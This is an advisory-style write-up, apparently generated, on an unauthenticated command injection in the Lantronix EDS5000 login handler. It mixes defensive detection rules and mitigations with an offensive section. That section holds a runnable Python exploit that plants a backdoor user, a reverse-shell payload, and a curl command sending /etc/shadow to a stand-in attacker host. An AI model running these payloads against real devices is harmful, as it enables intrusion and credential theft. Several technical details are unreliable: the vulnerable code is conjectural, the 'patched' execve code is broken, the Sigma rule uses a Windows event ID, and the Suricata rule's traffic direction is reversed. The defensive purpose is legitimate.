CVE-2025-67038

Executive Summary

CVE-2025-67038 is a critical OS command injection vulnerability discovered in the Lantronix EDS5000 device running firmware version 2.1.0.0R3. The flaw resides in the HTTP RPC module, where a shell command is executed to write logs upon failed user authentication. The username parameter is directly concatenated into the command string without any sanitization, allowing an unauthenticated attacker to inject arbitrary OS commands. These injected commands are executed with root privileges, leading to full device compromise.

This vulnerability is particularly dangerous because it requires no authentication, can be exploited remotely over the network, and grants the attacker the highest level of system access. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public disclosure of the vulnerability details increases the risk of weaponization.

Supply Chain & Package Security

This vulnerability does not involve NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full read access to device data.
• Integrity (I): High (H) – Full write access to device data.
• Availability (A): High (H) – Full control over device operations, including denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and root-level command execution makes this a severe threat.

Deep Dive & Mechanics

The vulnerability exists in the HTTP RPC module of the Lantronix EDS5000 firmware. When a user attempts to authenticate and fails, the device logs the event by executing a shell command. The username provided in the authentication request is directly concatenated into this command string without any sanitization or escaping.

For example, the vulnerable code might look like:

system("echo 'Failed login attempt for user: " + username + "' >> /var/log/auth.log");

An attacker can inject arbitrary OS commands by including shell metacharacters (e.g., ;, |, &&, `) in the username field. For instance, a username like admin; id > /tmp/out would execute the id command and write its output to /tmp/out.

The command is executed with root privileges because the HTTP RPC module runs as root. This allows the attacker to:

• Execute any system command.
• Install backdoors.
• Modify device configuration.
• Exfiltrate sensitive data.
• Launch attacks against other network devices.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void log_failed_auth(char *username) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo 'Failed login for %s' >> /var/log/auth.log", username);
    system(cmd);
}

Patched Code (Conceptual):

void log_failed_auth(char *username) {
    // Sanitize username: remove shell metacharacters
    char sanitized_username[256];
    sanitize_string(username, sanitized_username, sizeof(sanitized_username));
    
    // Use execve to avoid shell interpretation
    char *args[] = {"/bin/echo", "Failed login for", sanitized_username, NULL};
    execve("/bin/echo", args, NULL);
}

The patched version sanitizes the username to remove dangerous characters and uses execve instead of system to avoid shell interpretation.

Exploitation & Lab Setup

Red Team (Offensive)

Exploit Code (Python):

import requests

target = "https://192.168.1.100/rpc"
# Command to execute: create a backdoor user
payload = "admin; useradd -m -s /bin/bash attacker && echo 'attacker:password' | chpasswd"

data = {
    "username": payload,
    "password": "wrongpassword"
}

# Disable SSL verification for self-signed certs
requests.post(target, data=data, verify=False)

Usage:

1. Replace target with the actual IP of the vulnerable device.
2. Run the script. The injected command will create a new user attacker with password password.
3. SSH into the device as attacker to gain root shell access.

Alternative Payloads:

• Reverse shell: admin; bash -i >& /dev/tcp/192.168.1.200/4444 0>&1
• Data exfiltration: admin; curl -X POST -d @/etc/shadow http://attacker.com/exfil

Blue Team (Defensive)

Detection Steps:

1. Monitor authentication logs for unusual usernames containing shell metacharacters (;, |, &, `, $, (, )).
2. Set up alerts for failed authentication attempts with usernames longer than expected (e.g., > 50 characters).
3. Monitor for unexpected outbound connections from the device (e.g., reverse shells, data exfiltration).
4. Check for unauthorized user accounts or processes running with root privileges.

Mitigation:

• Immediately isolate affected devices from the network.
• Apply vendor patch when available.
• Implement network segmentation to limit exposure.
• Use a Web Application Firewall (WAF) to filter malicious input.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to unknown IP addresses on ports 4444, 8080, or 53 (DNS tunneling).
• HTTP POST requests to /rpc with usernames containing shell metacharacters.
• Unusual DNS queries (e.g., long subdomains indicating data exfiltration).

Host IOCs:

• New user accounts (e.g., attacker, backdoor).
• Unexpected files in /tmp/ or /var/tmp/.
• Modified system binaries or configuration files.
• Processes running as root with unusual names (e.g., bash, nc, python).

Log IOCs:

• Authentication logs showing usernames like admin; id, root|nc, etc.
• System logs showing execution of unexpected commands (e.g., useradd, chpasswd).

Detection Engineering

YARA Rule

rule CVE_2025_67038_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting Lantronix EDS5000"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67038"
    strings:
        $cmd1 = /username=[^&]*[;&|`$()]/
        $cmd2 = /username=[^&]*\b(?:id|whoami|cat|nc|bash|python|perl|wget|curl)\b/
    condition:
        any of them
}

Sigma Rule

title: Lantronix EDS5000 OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects failed authentication attempts with suspicious usernames indicating OS command injection
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-67038
logsource:
    category: authentication
    product: lantronix_eds5000
detection:
    selection:
        EventID: 4625  # Failed logon
        TargetUserName|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate usernames containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-67038 Lantronix EDS5000 OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/rpc"; http_uri;
    pcre:"/username=[^&]*[;&|`$()]/Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-67038;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Lantronix EDS5000 devices from the network until a patch is applied.
2. Apply vendor patch: Contact Lantronix for a firmware update. If unavailable, consider replacing the device.
3. Implement input validation: Use a reverse proxy or WAF to sanitize username fields before they reach the device.
4. Monitor logs: Enable detailed logging and monitor for suspicious authentication attempts.

Long-term Recommendations:

• Network segmentation: Place critical devices on isolated VLANs with strict access controls.
• Least privilege: Ensure services run with minimal necessary privileges.
• Regular updates: Establish a patch management process for all network devices.
• Security hardening: Disable unnecessary services (e.g., HTTP RPC if not needed).
• Incident response: Develop and test an incident response plan for similar vulnerabilities.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.